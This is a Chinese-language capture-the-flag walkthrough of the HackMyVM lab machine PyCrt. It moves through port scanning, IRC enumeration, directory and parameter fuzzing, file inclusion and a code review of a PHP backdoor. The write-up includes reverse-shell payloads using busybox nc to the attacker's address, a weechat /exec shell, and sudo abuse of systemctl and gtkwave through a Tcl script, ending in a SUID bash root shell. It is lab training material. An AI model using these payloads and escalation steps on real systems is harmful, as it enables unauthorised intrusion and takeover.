关注该公众号夜风Sec
,不定时分享各种工具和学习记录,与师傅共同进步,回复pycrt
获取镜像文件
题目来源:HackMyVM靶场
信息收集
arp-scan
$ sudo arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:ca:ce:06, IPv4: 192.168.56.128Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.56.1 0a:00:27:00:00:07 (Unknown: locally administered)192.168.56.100 08:00:27:63:4f:97 PCS Systemtechnik GmbH192.168.56.102 08:00:27:2d:b4:48 PCS Systemtechnik GmbH
nmap
nmap --min-rate 10000 -A -p- 192.168.56.102
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)| ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)80/tcp open http Apache httpd 2.4.62 ((Debian))|_http-server-header: Apache/2.4.62 (Debian)|_http-title: Apache2 Debian Default Page: It works6667/tcp open irc| irc-info: | users: 1| servers: 1| chans: 0| lusers: 1| lservers: 0| server: irc.local| version: InspIRCd-3. irc.local | source ident: nmap| source host: 192.168.56.128|_ error: Closing link: ([email protected]) [Client exited]
80 & 6667[ IRC ]
80端口就是一个初始页面,没有用的信息
访问6667端口 ---> IRC服务:( Internet Relay Chat services ) 互联网中断聊天服务、服务端/客户端架构、多个客户端连接到同一个服务端,通过频道进行聊天
这里我用的是IRSSI进行的连接,
$ irssi[(status)] /connect 192.168.56.102 # 默认就是连接6667端口.....22:31 -!- **************************************************22:31 -!- * H E L L O *22:31 -!- * This is a private irc server. Please contact *22:31 -!- * the admin of the server for any questions or *22:31 -!- * issues ShadowSec directory. *22:31 -!- **************************************************....
注意到这里返回的信息有一个目录ShadowSec directory
80端口
带着目录重新来到80端口 (-.-)
http://192.168.56.102/ShadowSec/
返回了不一样的页面
信息泄露
发现了一个账号信息ll104567
---> 翻译一下就明白了
dirsearch & feroxbuster & gobuster
$ gobuster dir -u http://192.168.56.102/ShadowSec/ -w /home/yefeng/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html -t 50===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://192.168.56.102/ShadowSec/[+] Method: GET[+] Threads: 50[+] Wordlist: /home/yefeng/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6[+] Extensions: php,html[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/.html (Status: 403) [Size: 279]/index.html (Status: 200) [Size: 6270]/.php (Status: 403) [Size: 279]/.html (Status: 403) [Size: 279]/.php (Status: 403) [Size: 279]/logitech-quickcam_W0QQcatrefZC5QQfbdZ1QQfclZ3QQfposZ95112QQfromZR14QQfrppZ50QQfsclZ1QQfsooZ1QQfsopZ1QQfssZ0QQfstypeZ1QQftrtZ1QQftrvZ1QQftsZ2QQnojsprZyQQpfidZ0QQsaatcZ1QQsacatZQ2d1QQsacqyopZgeQQsacurZ0QQsadisZ200QQsaslopZ1QQsofocusZbsQQsorefinesearchZ1.html (Status: 403) [Size: 279]Progress: 3821496 / 3821499 (100.00%)/bydataset.php (Status: 200) [Size: 21]===============================================================Finished===============================================================
使用gobuster查找到一个 /bydataset.php
,但是没什么信息
$ curl http://192.168.56.102/ShadowSec/bydataset.phpNothing to see here.
ffuf & LFI & 源码
参数模糊测试,根据大量返回的进行过滤( -fs 21 )
$ ffuf -c -u 'http://192.168.56.102/ShadowSec/bydataset.php?FUZZ=1' -w /home/yefeng/fuzzDicts/paramDict/AllParam.txt -fs 21 /'___ /'___ /'___ / __/ / __/ __ __ / __/ ,__\ ,__/ / ,__ _/ _/ _ _/ _ _ ____/ _ /_/ /_/ /___/ /_/ v2.1.0-dev________________________________________________ :: Method : GET :: URL : http://192.168.56.102/ShadowSec/bydataset.php?FUZZ=1 :: Wordlist : FUZZ: /home/yefeng/fuzzDicts/paramDict/AllParam.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 21________________________________________________file [Status: 200, Size: 19, Words: 4, Lines: 1, Duration: 6ms]:: Progress: [74332/74332] :: Job [1/1] :: 2439 req/sec :: Duration: [0:00:34] :: Errors: 0 ::
有一个file参数,尝试文件包含 ---> 存在
OK了,可以读取文件了,尝试看bydataset.php
内容( 看源码 )
<?phpfunctiondecrypt($input){ $reversed = strrev($input); // 逆向echo"Reversed: " . $reversed . "n"; $decoded = base64_decode($reversed); # :dmcecho"Decoded: " . $decoded . "n";if ($decoded === false) {echo"Base64 decoding failed.n";returnfalse; }if (strpos($decoded, 'cmd:') === 0) { // $decoded是否以 cmd: 开头return substr($decoded, 4); }returnfalse;}if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['file'])) { $file = $_GET['file'];if (stripos($file, 'phpinfo') !== false) { // 如果phpinfo出现在字符串中 立马退出exit('Access Denied'); } $filterUrl = 'php://filter/convert.base64-encode/resource=' . $file; // LFI $data = @file_get_contents($filterUrl);if ($data === false) {exit('Failed to read file'); }echo base64_decode($data);exit;} elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['auth']) && isset($_POST['payload'])) { $auth = $_POST['auth']; # auth = LetMeIn123 $payload = $_POST['payload'];if ($auth !== 'LetMeIn123!') {exit('Invalid Auth Token.'); } $command = decrypt($payload); # sl:dmcif ($command !== false) { $output = exec($command);echo"<pre>$output</pre>"; } else {echo"Payload decode failed.n"; }exit;} else {echo"Nothing to see here.";}?>
很简单,GET和POST方法,
GET方法 ---> LFI
POST方法 ---> 逆序&base64编码, echo exec($output)
反弹shell
# Payload$ echo'cmd:busybox nc 192.168.56.128 8888 -e /bin/sh' | base64 | rev ==gCoN3LulmYvASZtACO4gDOggjMx4iN14CO2EjLykTMgMmbgg3bil3c1JmOk12Y# argvauth=LetMeIn123!&payload=oN3LulmYvASZtACO4gDOggjMx4iN14CO2EjLykTMgMmbgg3bil3c1JmOk12Y# Attacknc -lvvp 8888
# 升级终端python3 -c 'import pty; pty.spawn("/bin/bash")'Ctrl-Zstty raw -echo; fgexport TERM=xterm# 设置尺寸与本地保持一致stty -a # 查看本地尺寸stty rows 30 columns 142 # 在靶机中进行设置
提权
www-data ---> chatlake
www-data@PyCrt:/home$ sudo -lsudo -lMatching Defaults entries for www-data on PyCrt: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binUser www-data may run the following commands on PyCrt: (chatlake) NOPASSWD: /usr/bin/weechatwww-data@PyCrt:/tmp$ sudo -u chatlake weechat --dir /tmp/chatlake2
# payload/exec busybox nc 192.168.56.128 6666 -e /bin/sh# Attacknc -lvvp 6666
得到user.txt
chatlake ---> pycrtlake
chatlake@PyCrt:/home$ sudo -lMatching Defaults entries for chatlake on PyCrt: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binUser chatlake may run the following commands on PyCrt: (ALL) NOPASSWD: /usr/bin/systemctl start irc_bot.service
chatlake@PyCrt:/home$ find / -name irc_bot.service 2>/dev/null/etc/systemd/system/irc_bot.service
chatlake@PyCrt:/home$ cat /etc/systemd/system/irc_bot.service[Unit]Description=IRC Bot ServiceAfter=network.target[Service]User=pycrtlakeGroup=pycrtlakeWorkingDirectory=/usr/local/binExecStart=/usr/bin/python3 /usr/local/bin/irc_bot.pyRestart=alwaysRestartSec=5StandardOutput=syslogStandardError=syslogEnvironment=PYTHONUNBUFFERED=1[Install]WantedBy=multi-user.target
根据内容,可以看到这个服务与IRC服务有关
执行
chatlake@PyCrt:/home$ sudo /usr/bin/systemctl start irc_bot.service
IRC
irssi连接以下,/list列一下频道,这回有频道啦
01:04 -!- Channel Users Name01:04 -!- #chan2 1 [+nt] 01:04 -!- #chan3 1 [+nt] 01:04 -!- #chan4 1 [+nt] 01:04 -!- #chan5 1 [+nt] 01:04 -!- #chan6 1 [+nt] 01:04 -!- #chan1 1 [+nt] 01:04 -!- End of channel list. [01:04] [yefeng(+i)] [1:192 (change with ^X)] [(status)] /list六个频道,依次加入进去看看/join #chan1 -- 加入/part # 退出
在频道6,会有admin发送一个信息,意思是,他和他的朋友正在聊天,他们聊天的规则是以:)结尾
首先,是他和他的朋友,他的朋友是谁,
我们先尝试自己输入,以:)结尾,没反应
尝试来尝试去
/nick ll104567 # 切换为他的朋友的ID, 也就是前面我们得到的这个# 在除了6频道,其他频道进行发言,私聊admin会给你提示语法是否正确/join #chan1asdasdasdas/query admin # 私聊查看结果/q # 停止私聊
发现这里是对输入对照了ASCII表
发现命令执行成功,尝试反弹shell
这里的反弹shell会很快断掉,所以要二次反弹shell
pycrtlake --> root
pycrtlake@PyCrt:/usr/local/bin$ sudo -lsudo -lMatching Defaults entries for pycrtlake on PyCrt: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binUser pycrtlake may run the following commands on PyCrt: (ALL) NOPASSWD: /usr/bin/gtkwave
依然是sudo的提权,尝试直接执行,给出使用方法
pycrtlake@PyCrt:~$ sudo /usr/bin/gtkwavesudo /usr/bin/gtkwaveCould not initialize GTK! Is DISPLAY env var/xhost set?Usage: /usr/bin/gtkwave [OPTION]... [DUMPFILE] [SAVEFILE] [RCFILE]....-S, --script=FILE specify Tcl command script file for execution....
有一个-S参数,可以执行脚本吧
但是还缺少一个环境变量,是图形界面的问题,好像是由于该命令基于图形界面,而我们又是命令行,所以才会提示这个
Xvfb :1 -screen 0 1024x768x24 & # 启动一个虚拟显示器export DISPLAY=:1 # 配置环境变量
-
:1
表示 display number 是:1
,你可以用:0
、:2
,以此类推。 -
-screen 0
表示第 0 个屏幕 -
1024x768x24
是分辨率和色深
这里执行需要的是TCL语言
在 Tcl 里,可以用 exec
命令来执行 Linux 命令,获取输出或者直接执行。
pycrtlake@PyCrt:/tmp$ Xvfb :1 -screen 0 1024x768x24 &Xvfb :1 -screen 0 1024x768x24 &[1] 2183pycrtlake@PyCrt:/tmp$ export DISPLAY=:1export DISPLAY=:1pycrtlake@PyCrt:/tmp$ sudo /usr/bin/gtkwave -S exp
pycrtlake@PyCrt:/tmp$ sudo /usr/bin/gtkwave -S exp GTKWave Analyzer v3.3.118 (w)1999-2023 BSIGTKWAVE | Use the -h, --helpcommand line flags to display help.(gtkwave:2304): dconf-WARNING **: 14:11:54.090: failed to commit changes to dconf: Failed to execute child process ?dbus-launch? (No such file or directory)GTKWAVE | Executing Tcl script 'exp'^Cpycrtlake@PyCrt:/tmp$ ls -al /bin/bash-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bashpycrtlake@PyCrt:/tmp$ /bin/bash -pbash-5.0# iduid=1000(pycrtlake) gid=1000(pycrtlake) euid=0(root) groups=1000(pycrtlake),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
总结
6667端口:IRS服务 ---> 目录信息 ---> 回到80端口80端口 ---> 目录扫描 ---> 参数模糊查询 ---> 代码审计 ---> 反弹shellsudo -l 逐级提权
往期推荐
原文始发于微信公众号(夜风Sec):HackMyVM - PyCrt
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论